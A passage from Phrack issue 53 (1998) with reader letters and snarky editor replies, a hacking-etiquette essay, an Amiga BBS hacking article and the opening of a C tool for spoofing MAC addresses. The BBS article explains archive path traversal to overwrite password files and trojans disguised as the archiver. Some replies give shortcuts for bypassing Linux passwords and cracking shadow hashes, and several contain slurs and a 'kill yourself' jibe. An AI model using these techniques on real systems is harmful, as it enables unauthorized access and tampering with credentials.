If any readers wish to write an article based on this subject you are
|
|||
|
urged to write it and send it in. It'd be nice to see some more solid
|
|||
|
information on this subject.
|
|||
|
|
|||
|
As well; if any companies wish to send us modems, we urge you to send us
|
|||
|
some modems so we can put them up against a battery of hacker tested and
|
|||
|
hacker approved tests. ]
|
|||
|
|
|||
|
0x12>-------------------------------------------------------------------------
|
|||
|
|
|||
|
I would like to know about cellular phones....how to find out secret
|
|||
|
pin, how to listen to calls etc....
|
|||
|
|
|||
|
[ I would like to know more about marshmellows. How they're planted, the
|
|||
|
way they're picked in the spring time as they blossom from the little
|
|||
|
tiny buds you get in 'Swiss Miss Hot Coco', to the fat chewey vessles of
|
|||
|
taste and excitment that they are at full maturity.
|
|||
|
|
|||
|
I would like to find out the secrets of gravity, as well as a good solid
|
|||
|
reason why the universe keeps 'expanding' -- without any of that "just
|
|||
|
because" rhetoric that seems to dominate the subject. ]
|
|||
|
|
|||
|
If You need the cellular make I'll be obliged to give it to you....
|
|||
|
|
|||
|
[ Wow. You'll give us your phone just so we can look at it? Send us your
|
|||
|
home address and we'll send you a S.A.S.E to mail it back to us in. ]
|
|||
|
|
|||
|
Thanks. Anthony.
|
|||
|
|
|||
|
[ No. Thank _you_ your generosity Anthony! ]
|
|||
|
|
|||
|
0x13>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Hiya,
|
|||
|
|
|||
|
Not wishing to sound like a playboy forum article but I have read phrack for
|
|||
|
|
|||
|
[ Already my interest is waning... ]
|
|||
|
|
|||
|
quite a while and have only seen cause to write now.
|
|||
|
I commend you on your editorial on C programming style. The sooner we get out
|
|||
|
|
|||
|
[ And I commend you on your commendation. +100 points. ]
|
|||
|
|
|||
|
there and club to death those people that use single space indentation the
|
|||
|
better.
|
|||
|
|
|||
|
I do however have three main points to disagree with you on.
|
|||
|
|
|||
|
1. Write as many comments as you can. You may need to remember what it
|
|||
|
was you where coding AFTER copious amounts of recriational drugs.
|
|||
|
|
|||
|
[ Nah. You don't want to get out of hand with the commenting. You end
|
|||
|
up commenting needlessly and redundancy abounds. And if you can't read
|
|||
|
your own code, kill yourself. -100 points. ]
|
|||
|
|
|||
|
2. Put your own varaibles with uppercase first letters (to distinguish them
|
|||
|
from sys vars)
|
|||
|
|
|||
|
[ `sys vars`? What like argc, argv or errno? This is a ridiculous
|
|||
|
suggestion. It makes your code ugly and harder to parse. I award you
|
|||
|
no points. ]
|
|||
|
|
|||
|
3. In reference to your comment
|
|||
|
|
|||
|
"In the grand scheme of things, none are really
|
|||
|
any more correct than any others, except mine."
|
|||
|
|
|||
|
It must be said that this is completely wrong. The only point that counts
|
|||
|
is in fact mine.
|
|||
|
|
|||
|
[ Not when it's in my magazine. With a final score of 0, you lose. ]
|
|||
|
|
|||
|
Regards,
|
|||
|
andrewm at quicknet dot com dot au
|
|||
|
|
|||
|
[ Cute. ]
|
|||
|
|
|||
|
0x14>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Dear Guys,
|
|||
|
|
|||
|
First off, I'd like to say that I am ever more impressed with the quality
|
|||
|
of each successive issue of Phrack.
|
|||
|
|
|||
|
[ Danke. ]
|
|||
|
|
|||
|
The reason for this mail it to respond to the request made by N0_eCH0 in
|
|||
|
Ireland in issue 52. Myself and a few friends are happy to help this guy
|
|||
|
out if we can. I'm afraid that we're no great sources of knowledge, but
|
|||
|
are willing to have a crack at most things.
|
|||
|
|
|||
|
Anyway, if you can pass this on, as there was no e-mail address for
|
|||
|
N0_eCH0, I'd be much obliged. Keep up the excellent work, I look forward
|
|||
|
to issue 53 !
|
|||
|
|
|||
|
ben_w@netcom.co.uk
|
|||
|
|
|||
|
[ There you go. ]
|
|||
|
|
|||
|
0x15>-------------------------------------------------------------------------
|
|||
|
|
|||
|
To whom it may concern:
|
|||
|
|
|||
|
I was wonder how I can read someone dir and take over their
|
|||
|
account the kernal is 2.0.0. How could I hack into the system
|
|||
|
without having a passwd!!
|
|||
|
|
|||
|
[ I assume you mean Linux. `LILO: linux init=/bin/sh`. Oh, and you need
|
|||
|
console access. Good luck. ]
|
|||
|
|
|||
|
Thanx!
|
|||
|
|
|||
|
Tag
|
|||
|
|
|||
|
0x16>-------------------------------------------------------------------------
|
|||
|
|
|||
|
[ P52-19@0x2: Statement of Louis J. Freeh, Director F.B.I... ]
|
|||
|
|
|||
|
|
|||
|
Hello,
|
|||
|
|
|||
|
I would like to say that the article, published as P52-19 is without
|
|||
|
a doubt one of the most frightening threats to our freedom that man has
|
|||
|
ever seen.
|
|||
|
|
|||
|
the article is:
|
|||
|
"The Impact of Encryption
|
|||
|
on Public Safety
|
|||
|
|
|||
|
Statement of Louis J. Freeh, Director
|
|||
|
Federal Bureau of Investigation"
|
|||
|
|
|||
|
This article basically states that Americans should have now
|
|||
|
personal communication rights whatsoever. The Director of the FBI
|
|||
|
practically states that strong encryption should be banned from the
|
|||
|
public, because he wants law enforcement officers to be able to read all
|
|||
|
of our mail. He says that this would be for reasons of terrorists and
|
|||
|
criminals, but fails to state that the security of the average American
|
|||
|
would be compromised. Due to his proposal that you would have to
|
|||
|
forfeit your key to government officials, and that these keys would only
|
|||
|
be used "for the immediate decryption of criminal-related encrypted
|
|||
|
communications or electronic information.". Or maybe this way the
|
|||
|
government can just intrecept all of your communications.
|
|||
|
My main objection to this is the irrelevancy that this would have to
|
|||
|
the general public. According to US law, the US Postal Service is the
|
|||
|
ultimate form of private security. The average American should be able
|
|||
|
to send a letter to anywhere in the world, and it should be completely
|
|||
|
safe. And what more can you send with encrypted email? A program, but
|
|||
|
you can do that with a disk in a letter. So whats stopping these
|
|||
|
terrorists from hopping on down to the Post Office?
|
|||
|
Another problem with this proposal is that encrypted information is
|
|||
|
more used to protect your information from other parties then the
|
|||
|
government. I can guarantee that the average Joe living down the street
|
|||
|
is encrypting his love letter to his mistress Jane so that his wife
|
|||
|
doesn't see int, not so that some lazy, fat, government "official"
|
|||
|
doesn't see it. Most people use this technology for much more practical
|
|||
|
usage than the deception of the government. We use it because of the
|
|||
|
millions of people on the Net, and perhapse we don't want those millions
|
|||
|
to see every little thing about our personal lives.
|
|||
|
And finally, why should the government be able to restrict our right
|
|||
|
to gather peacefully? With technology moving so fast, i think that it
|
|||
|
is reasonable to assume that the Internet is a gathering place? We have
|
|||
|
all of the means of normal communication and more. Chat rooms, email,
|
|||
|
and programs like Mirabilis's ICQ allow us to communicate on a whole new
|
|||
|
level.
|
|||
|
In light of all of this, i hope you share my opinions now about the
|
|||
|
loss of freedom that this would represent. Thank you.
|
|||
|
|
|||
|
0x17>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Hi,
|
|||
|
|
|||
|
I am a little sysadm on a little Linux-Server on the net.
|
|||
|
|
|||
|
[ I have little interest in those details. ]
|
|||
|
|
|||
|
I am searching for documents about System Security under Linux/UNIX
|
|||
|
just to be up-to-date :) Thank you for your help.
|
|||
|
|
|||
|
[ http://www.redhat.com/linux-info/security/linux-security/ ]
|
|||
|
|
|||
|
And btw...I have parts of the /etc/shadow file from my ISP...what
|
|||
|
can I do with this? Can I just run crack over it?
|
|||
|
|
|||
|
[ Well now, that all depends on what parts you have, doesn't it...?
|
|||
|
If you have the encrypted hashes, then you're in business. ]
|
|||
|
|
|||
|
And, btw: Not all germans hate americans...I am german and I
|
|||
|
don't hate americans... and my generation has nothing to do with
|
|||
|
the WWII...
|
|||
|
|
|||
|
[ Oh, I think you do. I am relatively certian that, somewhere deep
|
|||
|
down, you dislike us. You couldn't take a shellacking like you did
|
|||
|
in WWII (not to mention spaetzle) and *not* feel some sort of
|
|||
|
resentment. It's ok. Embrace your malevolent feelings. Hug them.
|
|||
|
C'mon! Once you've done that, you can dissolve them. I admonish you to
|
|||
|
TURN THAT FROWN UPSIDE-DOWN! Cmon! Bodyslam yourself into gayness! ]
|
|||
|
|
|||
|
-firefox01
|
|||
|
|
|||
|
0x18>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Hello there, good to talk to you.
|
|||
|
|
|||
|
[ Likewise. ]
|
|||
|
|
|||
|
I am just this "Thinker" with this thought why don't we the Hackers and you
|
|||
|
the one of the major contributing Hacker commune (2600,Phrack,ect) make a Full
|
|||
|
Strong "live" Cryto network for the Hacker and by the Hacker.
|
|||
|
|
|||
|
[ I have a thought. Get a speak n' spell. ]
|
|||
|
|
|||
|
I can't belive I am sending this from hotmail bought out by
|
|||
|
microshit blah blah no this thing must be really insecure.
|
|||
|
|
|||
|
[ Well, maybe it just needs love and attention and for someone to say nice
|
|||
|
things to it. ]
|
|||
|
|
|||
|
Well I have a whole line of ideas and no one ever listens to me
|
|||
|
netscape ect... but if your intrested e-mail me back and I'll give you
|
|||
|
my POP adress. The benifit of this system is 1) we can piss off the FBI
|
|||
|
|
|||
|
[ Yes, let's piss off the F.B.I. And, while we're at it, let's piss off
|
|||
|
the IRS and let's annoy the CIA.. We can poke fun at the retarded
|
|||
|
wrestlers association. And lastly, let's aggravate an enraged bull. ]
|
|||
|
|
|||
|
and 2) final we hackers can have a place to loyter and idile , lurk at
|
|||
|
|
|||
|
[ loyter and idile? Hey, aren't they those two Jewish film critics? I
|
|||
|
love them! ]
|
|||
|
|
|||
|
where we can say what ever the Hell such as Full deatails on how to
|
|||
|
enter a sys,ect...of corse we will have to screen ppl for trust ect...
|
|||
|
|
|||
|
[ And screen them for stupidity. ]
|
|||
|
|
|||
|
But I reall belive we can werk this.
|
|||
|
If you want to here the rest of my ground shaking ideas just ask, or
|
|||
|
full deatials on the Crypto.net .
|
|||
|
|
|||
|
[ Pass. ]
|
|||
|
|
|||
|
0x19>-------------------------------------------------------------------------
|
|||
|
|
|||
|
First off, I'd like to say that I love the mag...but you really get some
|
|||
|
nutjobs that post to it..(myself included) I'm not an elite hacker, a unix
|
|||
|
guru or anything like that(duh), but I am amazed at the effort you put into
|
|||
|
Phrack...anyways, keep up the good work
|
|||
|
|
|||
|
[ Thanks, nutjob. ]
|
|||
|
|
|||
|
0x1a>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Hello,
|
|||
|
|
|||
|
Who was the first hacker in history?
|
|||
|
|
|||
|
[ God. ]
|
|||
|
|
|||
|
thanks for your time,
|
|||
|
greetings,
|
|||
|
Max
|
|||
|
|
|||
|
0x1b>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Hi.
|
|||
|
|
|||
|
i'm a Swedish kid and i just wonders
|
|||
|
|
|||
|
[ Now the Swedes I like. Beautiful women. Amazing accents. I *think*
|
|||
|
they like me. Although this one particularly hot Swedish girl I know
|
|||
|
doesn't seem to like me much. I think maybe it's because I try too hard
|
|||
|
around her. She'll come around and I'll be like bouncing off the walls
|
|||
|
trying to impress her.. I remember one time I got so excited I almost
|
|||
|
set sail for gaiety. I know. I know. I should "just relax" and
|
|||
|
everything will fall into place. I dunno tho. She's so pretty. And
|
|||
|
ahm just so awkward... ]
|
|||
|
|
|||
|
if you might know a good haking, freaking and craking
|
|||
|
site. I've checked everywhere but i have not any.
|
|||
|
|
|||
|
[ Huh? ]
|
|||
|
|
|||
|
0x1c>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Hey sup, I'm makin an essay site similar to Slackers Inc. but with more
|
|||
|
essays. The only problem is I need sponsors to get my page up, can you pay me
|
|||
|
a small fee monthly for displayin a banner for your site. I know almost
|
|||
|
|
|||
|
[ O.k. Sure, how does nothing/month sound? ]
|
|||
|
|
|||
|
everybody knows about Phrack Magazine but I heard you do some sponsoring, E-
|
|||
|
mail me back if you are interested.
|
|||
|
|
|||
|
[ Yah, we are *so* reknown for our advertising budget. And now I'd like to
|
|||
|
make Phrack reknown for sponsoring a gay fucking highschool/college paper
|
|||
|
stealing webpage. Sure. I'll get right on that after we do our 'kick
|
|||
|
a baby harp seal campaign'. ]
|
|||
|
|
|||
|
0x1d>-------------------------------------------------------------------------
|
|||
|
|
|||
|
You need to write an Interactive tutorial to simulate hacking into a
|
|||
|
private college or a company. You should make it realistic and hard to access.
|
|||
|
|
|||
|
[ Someone already did. They're called *.edu and *.com. Although sometimes
|
|||
|
they're not too realistic. ]
|
|||
|
|
|||
|
0x1e>-------------------------------------------------------------------------
|
|||
|
|
|||
|
[ P52-14: International Crime Syndicate Association ]
|
|||
|
|
|||
|
Dorathea Demming,
|
|||
|
|
|||
|
You remark that the ICSA doesn't guarantee their certification against
|
|||
|
attack.
|
|||
|
|
|||
|
"In plain English, they are saying that if you get sued, you are on your
|
|||
|
own."
|
|||
|
|
|||
|
Do you know of any security company, consultant, or consortia that will
|
|||
|
commit to helping a customer legally if they've been attacked?
|
|||
|
|
|||
|
Stu
|
|||
|
|
|||
|
0x1f>-------------------------------------------------------------------------
|
|||
|
|
|||
|
In skateboarding you are a "poseur" if you don't know shit.
|
|||
|
In the computers culture you are a "lamer" if you don't know shit.
|
|||
|
|
|||
|
The term that bugs me is "elite" or "eleet" or "3l33t3".
|
|||
|
Are you elite?
|
|||
|
|
|||
|
I just don't like the term.
|
|||
|
I really like the term "HI-FI" ,as in high-fidelity, or high-fidelity
|
|||
|
stereo's.
|
|||
|
|
|||
|
An outdate term that orginally meant "I've got the best gear".
|
|||
|
But now it just means "late 70's marketing scheme".
|
|||
|
|
|||
|
Are you hi-fi?
|
|||
|
It has a ring to it.
|
|||
|
You may be elite right now but in time you'll be hi-fi.
|
|||
|
|
|||
|
------------------------------------------------------------------------------
|
|||
|
|
|||
|
----[ EOF
|
|||
|
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 03 of 15
|
|||
|
|
|||
|
|
|||
|
-------------------------[ P H R A C K 5 3 L I N E N O I S E
|
|||
|
|
|||
|
|
|||
|
--------[ Various
|
|||
|
|
|||
|
|
|||
|
0x1>-------------------------------------------------------------------------
|
|||
|
|
|||
|
On not being a moron in public
|
|||
|
- nihilis
|
|||
|
|
|||
|
(In response to why cantor kick-banned someone off of #Phrack
|
|||
|
without warning:
|
|||
|
|
|||
|
<cantor:#phrack> you were an idiot near me
|
|||
|
<cantor:#phrack> i hate that)
|
|||
|
|
|||
|
I wouldn't think normally that this is an article which needs to be written.
|
|||
|
But as experience has shown, it may very well be.
|
|||
|
|
|||
|
Several months ago I was on the IRC EFnet's channel #phrack and one of the
|
|||
|
users spouted a URL for a web page he and his cohorts had hacked. On it he
|
|||
|
had kindly sent salutations to everyone he knew and to Phrack. We, the
|
|||
|
other occupants of the channel all admitted that none of us spoke
|
|||
|
authoritatively in the magazine's behalf, but that we were confident that
|
|||
|
none of the editorial staff would appreciate being implicated in a felony by
|
|||
|
association. The user didn't seem to understand.
|
|||
|
|
|||
|
The next day, when the user was asked to join some of the authorities at the
|
|||
|
local station-house for a short interview, I'm sure he wet his pants. The
|
|||
|
line of questioning was short: it merely established that he had not been the
|
|||
|
culprit in further attacks on the same host. The police released him uncharged.
|
|||
|
|
|||
|
In discussions with him later on #Phrack, we weren't surprised to find that he
|
|||
|
had been apprehended. As things played out, the user clearly felt no crime had
|
|||
|
been committed: All he did was change a web page. He adamantly protested
|
|||
|
that he didn't do any damage, he didn't put in any backdoors, he didn't know
|
|||
|
that root's .rhosts contained four simple bytes: "+ +\n".
|
|||
|
|
|||
|
Clearly this user didn't look very hard in what were apparently his several
|
|||
|
weeks of attempting to hack the site.
|
|||
|
|
|||
|
Interestingly enough, I haven't seen this user on IRC since about a week after
|
|||
|
the episode.
|
|||
|
|
|||
|
There are several morals to this story: Hacking is a felony. Any
|
|||
|
unauthorized access constitutes hacking. If you do hack something, don't be a
|
|||
|
moron about it.
|
|||
|
|
|||
|
It's likely always been this way, but it's only been more recently I've been
|
|||
|
paying attention, I suspect: The advent of information availability and a
|
|||
|
rise in the number people for whom the net has always been "the norm" is
|
|||
|
producing a class of users who cannot think for themselves. As reliance
|
|||
|
upon scripted attacks increases, the number of people who personally possess
|
|||
|
technical knowledge decreases.
|
|||
|
|
|||
|
Today I was lurking and watching the activity on #Phrack while tending to
|
|||
|
issues at work. The two largest discussions which come to mind are that SYN
|
|||
|
flooding cannot be prevented, even using the newest Linux kernel; and what
|
|||
|
0x0D means and that, yes, it is interchangeable for 13 in a C program. For
|
|||
|
the latter, the opposing point of view was presented by "an experienced C
|
|||
|
programmer."
|
|||
|
|
|||
|
This was actually a civil conversation. People in-the-know were actually a
|
|||
|
little more crude than necessary, and the groups in need of reeducation
|
|||
|
admitted faults without needing four reference sources and three IETF
|
|||
|
standards quoted. It was a good day.
|
|||
|
|
|||
|
People these days seem generally unwilling to concede that someone else on the
|
|||
|
Internet has done their homework, has studied the standards, and has an
|
|||
|
advantage. They consider themselves experienced because they got an
|
|||
|
unpatched Windows NT to bring up the Blue Screen Of Death remotely using a
|
|||
|
program published four months ago. They hack web pages and put their names
|
|||
|
on it.
|
|||
|
|
|||
|
They seem unwilling to read the code given to them to establish exactly what
|
|||
|
happens when the newest 0-day exploit runs. They do not find the holes. They
|
|||
|
seem generally more interested in fucking someone over (unaware of potential
|
|||
|
consequences) than in really solving any sort of technical problem. It's all
|
|||
|
a race, it's all a game, it's all a matter of who has the newest tools.
|
|||
|
|
|||
|
I'm writing this now because I'm sick of that. I'm sick of people who think
|
|||
|
they're smart and are intent on making sure I know it by putting their feet
|
|||
|
in their mouths. I'm sick of people who persistently ignore advice given to
|
|||
|
them and get angry when the consequences happen. I'm sick of people who
|
|||
|
cannot contribute intelligently to a conversation.
|
|||
|
|
|||
|
So here are some tips for the future:
|
|||
|
|
|||
|
You're a lot more impressive if you say something right than if you say
|
|||
|
something wrong. Someone nearby may be able to verify your claim and may
|
|||
|
call you on it.
|
|||
|
|
|||
|
You're a lot more impressive if you can do something effortlessly because
|
|||
|
you've done it before than if you bumble and stumble through an experience
|
|||
|
because you thought you could do it and were wrong.
|
|||
|
|
|||
|
If you're caught in a lie, admit it. The people who caught you already know
|
|||
|
more than you do: If you continue to spout bullshit, they'll know that too.
|
|||
|
But do your homework. Don't let them catch you being an idiot twice.
|
|||
|
|
|||
|
If you do something illegal, don't broadcast it. This is especially stupid.
|
|||
|
Chances are, someone will be looking for someone to blame soon. By
|
|||
|
announcing that you're responsible, you're inviting them to contact you.
|
|||
|
|
|||
|
0x2>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Portable BBS Hacking
|
|||
|
Extra tips for Amiga BBS systems
|
|||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|||
|
|
|||
|
After reading Khelbin's article from Phrack 50 (article 03), it reminded
|
|||
|
me of the similar tricks I had learnt for Amiga BBS systems. So I decided to
|
|||
|
write a small article covering the Amiga specific things.
|
|||
|
|
|||
|
As with Khelbin's article, the actual BBS software isn't particularly
|
|||
|
important since they mostly all work the same way in the respect of archivers.
|
|||
|
This trick can also be used on other users, but I'll cover that later in the
|
|||
|
article.
|
|||
|
|
|||
|
Firstly, the Amiga supports patching. This means you can set up paths
|
|||
|
which point to the directories where your commands are held. The Amiga OS
|
|||
|
also automatically sets a path to the current directory. As far as I know,
|
|||
|
you can't stop it doing this, but you don't need to anyway, if you're smart.
|
|||
|
This firstly problem, relating to the patching of the current directory is more
|
|||
|
common than you might expect, since it's such a simple thing to overlook.
|
|||
|
|
|||
|
What happens is this: The BBS receives a new file from you, and unarchives
|
|||
|
it to a temporary dir for whatever reason. It virus checks the files (or
|
|||
|
whatever) then it attempt to recompress the files. But, if your file
|
|||
|
contained an executable named the same as the BBS's archiver, it would call
|
|||
|
the one you uploaded, since the BBS would've CDed to the temp dir to
|
|||
|
rearchive the files. As you can imagine, you can use this to activate all
|
|||
|
sorts of trojans and viruses, as long as the virus checker doesn't
|
|||
|
recognize them. A good idea is to make sure your trojan calls the proper
|
|||
|
command as well, so the sysop doesn't notice immediately. The more
|
|||
|
observant sysops will have circumvented this problem by calling the archive
|
|||
|
with an absolute path, and/or using another method to rearchive the files,
|
|||
|
without having to CD into the temp dir.
|
|||
|
|
|||
|
The second trick is very similar to Khelbin's method of hex-editing
|
|||
|
archives. The only difference is, on the Amiga, the backslash and slash are
|
|||
|
swapped. For example, you create a file containing a new password file for
|
|||
|
the BBS in question.
|
|||
|
|
|||
|
> makedir temp/BBSData
|
|||
|
> copy MyBBSPasswords.dat temp/BBSData/userdata
|
|||
|
> lha -r a SomeFiles.lha temp
|
|||
|
|
|||
|
For the makedir, make the "temp" dir name to be however long it needs to be
|
|||
|
when you overwrite the characters of it in the hex-editor. In this case, we
|
|||
|
need 4.
|
|||
|
|
|||
|
Now, load the archive into a hex editor like FileMaster and find the
|
|||
|
string:
|
|||
|
|
|||
|
"temp\BBSData\userdata"
|
|||
|
|
|||
|
and change it to whatever you need, for example:
|
|||
|
|
|||
|
"\\\\BBSData\userdata"
|
|||
|
|
|||
|
which will unarchive 4 levels back from his temporary directory into the real
|
|||
|
BBSData dir. The only problem with this is that you need to know a little
|
|||
|
about the BBS's directory structure. But, if you intend to hack it, you
|
|||
|
should probably know that much anyway.
|
|||
|
|
|||
|
You'll notice that within the archive, the slash and backslash are swapped.
|
|||
|
This is important to remember, since using the wrong one will mean your
|
|||
|
archive will fail to extract correctly. The article about this from Phrack
|
|||
|
50 was for PCs, which use backslash for directory operations. The Amiga
|
|||
|
uses slash instead, but apart from that, the methods used in that article
|
|||
|
will work fine for Amiga archives.
|
|||
|
|
|||
|
If you know the Sysop of the BBS has a program like UnixDirs installed, you
|
|||
|
can even use the ".." to get to the root dir. The only other way to do that
|
|||
|
is to use a ":", however, I am not sure if this works. I have a feeling LhA
|
|||
|
would barf. Luckily, since the Amiga isn't limited by 8.3 filename problems,
|
|||
|
you can traverse directories much easier than with the limit imposed on PC
|
|||
|
systems.
|
|||
|
|
|||
|
The only real way the Sysop can fix this problem is by have his temp dir
|
|||
|
for unarchiving to be a device which has nothing important on it, like RAM:.
|
|||
|
That way, if the archive is extracted to RAM: and tries to step back 3
|
|||
|
directories using "///", it'll still be in RAM: and won't screw with anything
|
|||
|
important.
|
|||
|
|
|||
|
0x3>-------------------------------------------------------------------------
|
|||
|
|
|||
|
<++> EX/changemac.c
|
|||
|
/*
|
|||
|
* In P51-02 someone mentioned Ethernet spoofing. Here you go.
|
|||
|
* This tiny program can be used to trick some smart / switching hubs.
|
|||
|
*
|
|||
|
* AWL production: (General Public License v2)
|
|||
|
*
|
|||
|
* changemac version 1.0 (2.20.1998)
|
|||
|
*
|
|||
|
* changemac -- change MAC address of your ethernet card.
|
|||
|
*
|
|||
|
* changemac [-l] | [-d number ] [ -r | -a address ]
|
|||
|
*
|
|||
|
* -d number number of ethernet device, 0 for eth0, 1 for eth1 ...
|
|||
|
* if -d option is not specify default value is 0 (eth0)
|
|||
|
*
|
|||
|
* -h help for changemac command
|
|||
|
*
|
|||
|
* -a address address format is xx:xx:xx:xx:xx:xx
|
|||
|
*
|
|||
|
* -r set random MAC address for ethernet card
|
|||
|
*
|
|||
|
* -l list first three MAC bytes of known ethernet vendors
|
|||
|
* (this list is not compleet, anyone who know some more
|
|||
|
* information about MAC addresses can mail me)
|
|||
|
*
|
|||
|
* changemac does not change hardware address, it just change data in
|
|||
|
* structure of kernel driver for your card. Next boot on your computer will
|
|||
|
* read real MAC form your hardware.
|
|||
|
*
|
|||
|
* The changed MAC stays as long as your box is running, (or as long as next
|
|||
|
* successful changemac).
|
|||
|
*
|
|||
|
* It will not work if kernel is already using that ethernet device. In that
|
|||
|
* case you have to turn off that device (ifconfig eth0 down).
|
|||
|
*
|
|||
|
* I use changemac in /etc/rc.d/rc.inet1 (slackware, or redhat) just line
|
|||
|
* before ifconfig for ethernet device (/sbin/ifconfig eth0 ...)
|
|||
|
*
|
|||
|
* The author will be very pleased if you can learn something form this code.
|
|||
|
*
|
|||
|
* Updates of this code can be found on:
|
|||
|
* http://galeb.etf.bg.ac.yu/~azdaja/changemac.html
|
|||
|
*
|
|||
|
* Sugestions and comments can be sent to author:
|
|||
|
* Milos Prodanovic <azdaja@galeb.etf.bg.ac.yu>
|
|||
|
*/
|
|||
|
|
|||
|
#include <string.h>
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <errno.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
#include <sys/ioctl.h>
|
|||
|
#include <net/if.h>
|
|||
|
#include <unistd.h>
|
|||
|
|
|||
|
|
|||
|
struct LIST
|
|||
|
{
|
|||
|
char name[50];
|
|||
|
u_char mac[3];
|
|||
|
};
|
|||
|
|
|||
|
/*
|
|||
|
* This list was obtainted from vyncke@csl.sni.be, created on 01.7.93.
|
|||
|
*/
|
|||
|
|
|||
|
struct LIST vendors[] = {
|
|||
|
{"OS/9 Network ",'\x00','\x00','\x00'},
|
|||
|
{"BBN ",'\x00','\x00','\x02'},
|
|||
|
{"Cisco ",'\x00','\x00','\x0C'},
|
|||
|
{"Fujitsu ",'\x00','\x00','\x0E'},
|
|||
|
{"NeXT ",'\x00','\x00','\x0F'},
|
|||
|
{"Sytek/Hughes LAN Systems ",'\x00','\x00','\x10'},
|
|||
|
{"Tektronics ",'\x00','\x00','\x11'},
|
|||
|
{"Datapoint ",'\x00','\x00','\x15'},
|
|||
|
{"Webster ",'\x00','\x00','\x18'},
|
|||
|
{"AMD ? ",'\x00','\x00','\x1A'},
|
|||
|
{"Novell/Eagle Technology ",'\x00','\x00','\x1B'},
|
|||
|
{"Cabletron ",'\x00','\x00','\x1D'},
|
|||
|
{"Data Industrier AB ",'\x00','\x00','\x20'},
|
|||
|
{"SC&C ",'\x00','\x00','\x21'},
|
|||
|
{"Visual Technology ",'\x00','\x00','\x22'},
|
|||
|
{"ABB ",'\x00','\x00','\x23'},
|
|||
|
{"IMC ",'\x00','\x00','\x29'},
|
|||
|
{"TRW ",'\x00','\x00','\x2A'},
|
|||
|
{"Auspex ",'\x00','\x00','\x3C'},
|
|||
|
{"ATT ",'\x00','\x00','\x3D'},
|
|||
|
{"Castelle ",'\x00','\x00','\x44'},
|
|||
|
{"Bunker Ramo ",'\x00','\x00','\x46'},
|
|||
|
{"Apricot ",'\x00','\x00','\x49'},
|
|||
|
{"APT ",'\x00','\x00','\x4B'},
|
|||
|
{"Logicraft ",'\x00','\x00','\x4F'},
|
|||
|
{"Hob Electronic ",'\x00','\x00','\x51'},
|
|||
|
{"ODS ",'\x00','\x00','\x52'},
|
|||
|
{"AT&T ",'\x00','\x00','\x55'},
|
|||
|
{"SK/Xerox ",'\x00','\x00','\x5A'},
|
|||
|
{"RCE ",'\x00','\x00','\x5D'},
|
|||
|
{"IANA ",'\x00','\x00','\x5E'},
|
|||
|
{"Gateway ",'\x00','\x00','\x61'},
|
|||
|
{"Honeywell ",'\x00','\x00','\x62'},
|
|||
|
{"Network General ",'\x00','\x00','\x65'},
|
|||
|
{"Silicon Graphics ",'\x00','\x00','\x69'},
|
|||
|
{"MIPS ",'\x00','\x00','\x6B'},
|
|||
|
{"Madge ",'\x00','\x00','\x6F'},
|
|||
|
{"Artisoft ",'\x00','\x00','\x6E'},
|
|||
|
{"MIPS/Interphase ",'\x00','\x00','\x77'},
|
|||
|
{"Labtam ",'\x00','\x00','\x78'},
|
|||
|
{"Ardent ",'\x00','\x00','\x7A'},
|
|||
|
{"Research Machines ",'\x00','\x00','\x7B'},
|
|||
|
{"Cray Research/Harris ",'\x00','\x00','\x7D'},
|
|||
|
{"Linotronic ",'\x00','\x00','\x7F'},
|
|||
|
{"Dowty Network Services ",'\x00','\x00','\x80'},
|
|||
|
{"Synoptics ",'\x00','\x00','\x81'},
|
|||
|
{"Aquila ",'\x00','\x00','\x84'},
|
|||
|
{"Gateway ",'\x00','\x00','\x86'},
|
|||
|
{"Cayman Systems ",'\x00','\x00','\x89'},
|
|||
|
{"Datahouse Information Systems ",'\x00','\x00','\x8A'},
|
|||
|
{"Jupiter ? Solbourne ",'\x00','\x00','\x8E'},
|
|||
|
{"Proteon ",'\x00','\x00','\x93'},
|
|||
|
{"Asante ",'\x00','\x00','\x94'},
|
|||
|
{"Sony/Tektronics ",'\x00','\x00','\x95'},
|
|||
|
{"Epoch ",'\x00','\x00','\x97'},
|
|||
|
{"CrossCom ",'\x00','\x00','\x98'},
|
|||
|
{"Ameristar Technology ",'\x00','\x00','\x9F'},
|
|||
|
{"Sanyo Electronics ",'\x00','\x00','\xA0'},
|
|||
|
{"Wellfleet ",'\x00','\x00','\xA2'},
|
|||
|
{"NAT ",'\x00','\x00','\xA3'},
|
|||
|
{"Acorn ",'\x00','\x00','\xA4'},
|
|||
|
{"Compatible Systems Corporation ",'\x00','\x00','\xA5'},
|
|||
|
{"Network General ",'\x00','\x00','\xA6'},
|
|||
|
{"NCD ",'\x00','\x00','\xA7'},
|
|||
|
{"Stratus ",'\x00','\x00','\xA8'},
|
|||
|
{"Network Systems ",'\x00','\x00','\xA9'},
|
|||
|
{"Xerox ",'\x00','\x00','\xAA'},
|
|||
|
{"Western Digital/SMC ",'\x00','\x00','\xC0'},
|
|||
|
{"Eon Systems (HP) ",'\x00','\x00','\xC6'},
|
|||
|
{"Altos ",'\x00','\x00','\xC8'},
|
|||
|
{"Emulex ",'\x00','\x00','\xC9'},
|
|||
|
{"Darthmouth College ",'\x00','\x00','\xD7'},
|
|||
|
{"3Com ? Novell ? [PS/2] ",'\x00','\x00','\xD8'},
|
|||
|
{"Gould ",'\x00','\x00','\xDD'},
|
|||
|
{"Unigraph ",'\x00','\x00','\xDE'},
|
|||
|
{"Acer Counterpoint ",'\x00','\x00','\xE2'},
|
|||
|
{"Atlantec ",'\x00','\x00','\xEF'},
|
|||
|
{"High Level Hardware (Orion, UK) ",'\x00','\x00','\xFD'},
|
|||
|
{"BBN ",'\x00','\x01','\x02'},
|
|||
|
{"Kabel ",'\x00','\x17','\x00'},
|
|||
|
{"Xylogics, Inc.-Annex terminal servers",'\x00','\x08','\x2D'},
|
|||
|
